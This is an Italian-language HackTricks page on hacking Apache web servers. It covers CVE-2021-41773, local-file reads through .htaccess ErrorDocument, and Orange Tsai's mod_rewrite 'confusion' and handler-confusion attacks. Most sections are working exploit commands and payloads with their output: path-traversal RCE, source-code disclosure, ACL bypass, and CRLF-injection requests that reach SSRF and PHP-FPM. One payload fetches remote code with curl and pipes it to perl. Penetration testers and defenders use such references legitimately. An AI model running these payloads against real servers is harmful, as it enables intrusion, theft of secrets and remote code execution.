Apache
Reading time: 13 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Estensioni PHP eseguibili
Verifica quali estensioni sta eseguendo il server Apache. Per cercarle puoi eseguire:
grep -R -B1 "httpd-php" /etc/apache2
Inoltre, alcuni posti in cui è possibile trovare questa configurazione sono:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
LFI via .htaccess ErrorDocument file provider (ap_expr)
Se puoi controllare il .htaccess di una directory e AllowOverride include FileInfo per quel percorso, puoi trasformare le risposte 404 in letture arbitrarie di file locali usando la funzione ap_expr file() all'interno di ErrorDocument.
- Requisiti:
- Apache 2.4 con parser di espressioni (ap_expr) abilitato (default in 2.4).
- The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo).
- L'utente worker di Apache deve avere permessi di lettura sul file di destinazione.
.htaccess payload:
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
Si verifica richiedendo qualsiasi percorso non esistente sotto quella directory, per esempio quando si abusa di userdir-style hosting:
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
Notes and tips:
- Funzionano solo i percorsi assoluti. Il contenuto viene restituito come response body per il 404 handler.
- I permessi di lettura effettivi sono quelli dell'utente Apache (tipicamente www-data/apache). Non potrai leggere /root/* o /etc/shadow nelle configurazioni di default.
- Anche se .htaccess è root-owned, se la directory padre è tenant-owned e permette il rename, potresti essere in grado di rinominare il .htaccess originale e caricare il tuo sostituto via SFTP/FTP:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Usa questo per leggere il source dell'applicazione sotto DocumentRoot o i percorsi di configurazione vhost per raccogliere segreti (DB creds, API keys, ecc.).
Confusion Attack
These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. L'attacco "confusion" sostanzialmente abusa del fatto che le decine di module che lavorano insieme per creare un Apache non sono perfettamente sincronizzate: la modifica di dati inaspettati da parte di alcuni di essi può causare una vulnerabilità in un modulo successivo.
Filename Confusion
Truncation
Il mod_rewrite
tronca il contenuto di r->filename
dopo il carattere ?
(modules/mappers/mod_rewrite.c#L4141). Questo non è del tutto sbagliato, dato che la maggior parte dei moduli tratterà r->filename
come un URL. Ma in altre occasioni sarà trattato come un percorso di file, il che può causare un problema.
- Path Truncation
È possibile abusare di mod_rewrite
come nel seguente esempio di regola per accedere ad altri file all'interno del file system, rimuovendo l'ultima parte del percorso previsto aggiungendo semplicemente un ?
:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Mislead RewriteFlag Assignment
Nella seguente rewrite rule, fintanto che l'URL termina con .php verrà trattato ed eseguito come php. Pertanto, è possibile inviare un URL che termina con .php dopo il carattere ?
caricando nel path un tipo di file diverso (come un'immagine) con codice php malevolo al suo interno:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
È possibile accedere a file che l'utente non dovrebbe poter visualizzare anche se l'accesso dovrebbe essere negato da configurazioni come:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Ciò accade perché, per impostazione predefinita, PHP-FPM riceverà URL che terminano con .php
, come http://server/admin.php%3Fooo.php
e poiché PHP-FPM rimuoverà qualsiasi cosa dopo il carattere ?
, l'URL precedente permetterà di caricare /admin.php anche se la regola precedente lo proibiva.
Confusione con DocumentRoot
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Un fatto curioso su Apache è che la rewrite precedente proverà ad accedere al file sia dal documentRoot che dalla root. Quindi, una richiesta a https://server/abouth.html
verificherà la presenza del file in /var/www/html/about.html
e in /about.html
nel file system. Il che sostanzialmente può essere abusato per accedere a file nel file system.
Divulgazione del codice sorgente lato server
- Rivelare il codice sorgente CGI
Basta aggiungere %3F alla fine perché avvenga il leak del codice sorgente di un modulo cgi:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- Divulgare PHP Source Code
Se un server ospita domini diversi e uno di essi è un dominio statico, questo può essere abusato per attraversare il file system e leak php code:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Local Gadgets Manipulation
Il problema principale con l'attacco precedente è che, per impostazione predefinita, la maggior parte degli accessi al filesystem viene negata come in Apache HTTP Server’s configuration template:
<Directory />
AllowOverride None
Require all denied
</Directory>
Tuttavia, i sistemi operativi Debian/Ubuntu per impostazione predefinita consentono /usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Pertanto, sarebbe possibile abusare dei file situati all'interno di /usr/share
in queste distribuzioni.
Local Gadget to Information Disclosure
- Apache HTTP Server con websocketd può esporre lo script dump-env.php in /usr/share/doc/websocketd/examples/php/, che può causare il leak di variabili d'ambiente sensibili.
- Server con Nginx o Jetty potrebbero esporre informazioni sensibili dell'applicazione web (es., web.xml) tramite le loro web root di default collocate sotto /usr/share:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Local Gadget to XSS
- Su Ubuntu Desktop con LibreOffice installato, sfruttare la funzionalità di cambio lingua nei file di help può portare a Cross-Site Scripting (XSS). Manipolando l'URL in /usr/share/libreoffice/help/help.html è possibile reindirizzare verso pagine malevole o verso versioni precedenti tramite una unsafe RewriteRule.
Local Gadget to LFI
- Se PHP o determinati pacchetti front-end come JpGraph o jQuery-jFeed sono installati, i loro file possono essere sfruttati per leggere file sensibili come /etc/passwd:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Local Gadget to SSRF
- Utilizzando MagpieRSS's magpie_debug.php in /usr/share/php/magpierss/scripts/magpie_debug.php, può essere creata facilmente una vulnerabilità SSRF, fornendo una via per exploit ulteriori.
Local Gadget to RCE
- Le opportunità per Remote Code Execution (RCE) sono vaste, con installazioni vulnerabili come una vecchia versione di PHPUnit o phpLiteAdmin. Queste possono essere sfruttate per eseguire codice arbitrario, dimostrando l'ampio potenziale nella manipolazione dei local gadgets.
Jailbreak from Local Gadgets
È inoltre possibile effettuare il jailbreak dalle cartelle consentite seguendo i symlink generati dal software installato in quelle cartelle, come:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
Inoltre, sfruttando i symlink è stato possibile ottenere RCE in Redmine.
Handler Confusion
Questo attacco sfrutta la sovrapposizione di funzionalità tra le direttive AddHandler
e AddType
, entrambe possono essere utilizzate per abilitare il processamento PHP. Originariamente, queste direttive agivano su campi diversi (r->handler
e r->content_type
rispettivamente) nella struttura interna del server. Tuttavia, a causa di codice legacy, Apache tratta queste direttive in modo intercambiabile in certe condizioni, convertendo r->content_type
in r->handler
se il primo è impostato e il secondo no.
Inoltre, nell'Apache HTTP Server (server/config.c#L420
), se r->handler
è vuoto prima dell'esecuzione di ap_run_handler()
, il server usa r->content_type
come handler, rendendo di fatto AddType
e AddHandler
identici nel loro effetto.
Overwrite Handler to Disclose PHP Source Code
In this talk, è stata presentata una vulnerabilità in cui un Content-Length
errato inviato da un client può causare che Apache erroneamente restituisca il codice sorgente PHP. Ciò era dovuto a un problema di gestione degli errori con ModSecurity e l'Apache Portable Runtime (APR), dove una doppia risposta porta a sovrascrivere r->content_type
a text/html
.
Poiché ModSecurity non gestisce correttamente i valori di ritorno, restituirebbe il codice PHP senza interpretarlo.
Overwrite Handler to XXXX
TODO: Orange non ha ancora divulgato questa vulnerabilità
Invoke Arbitrary Handlers
Se un attacker è in grado di controllare l'intestazione Content-Type
in una risposta del server sarà in grado di invocare arbitrary module handlers. Tuttavia, al punto in cui l'attacker controlla questo, la maggior parte del processo della request sarà già stata eseguita. È comunque possibile riavviare il processo della request abusando dell'intestazione Location
perché se lo Status
restituito è 200 e l'intestazione Location
inizia con /
, la risposta è trattata come una Server-Side Redirection e dovrebbe essere processata
Secondo RFC 3875 (specifica su CGI) nella Section 6.2.2 viene definito il comportamento di Local Redirect Response:
The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Pertanto, per eseguire questo attacco è necessario uno dei seguenti vulns:
- CRLF Injection nella response headers del CGI
- SSRF con controllo completo delle response headers
Arbitrary Handler to Information Disclosure
Per esempio, /server-status
dovrebbe essere accessibile solo localmente:
<Location /server-status>
SetHandler server-status
Require local
</Location>
È possibile accedervi impostando il Content-Type
su server-status
e il Location header che inizi con /
.
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Da Handler arbitrario a Full SSRF
Reindirizzando verso mod_proxy
per accedere a qualsiasi protocollo su qualsiasi URL:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
Tuttavia, viene aggiunta l'intestazione X-Forwarded-For
, che impedisce l'accesso agli endpoint dei metadata cloud.
Handler arbitrario per accedere al Unix Domain Socket locale
Accedi al Unix Domain Socket locale di PHP-FPM per eseguire una backdoor PHP situata in /tmp/
:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Arbitrary Handler to RCE
L'immagine ufficiale PHP Docker include PEAR (Pearcmd.php
), uno strumento da riga di comando per la gestione di pacchetti PHP, che può essere abusato per ottenere RCE:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Consulta Docker PHP LFI Summary, scritto da Phith0n per i dettagli di questa tecnica.
Riferimenti
- https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
- Apache 2.4 Custom Error Responses (ErrorDocument)
- Apache 2.4 Expressions and functions (file:)
- HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.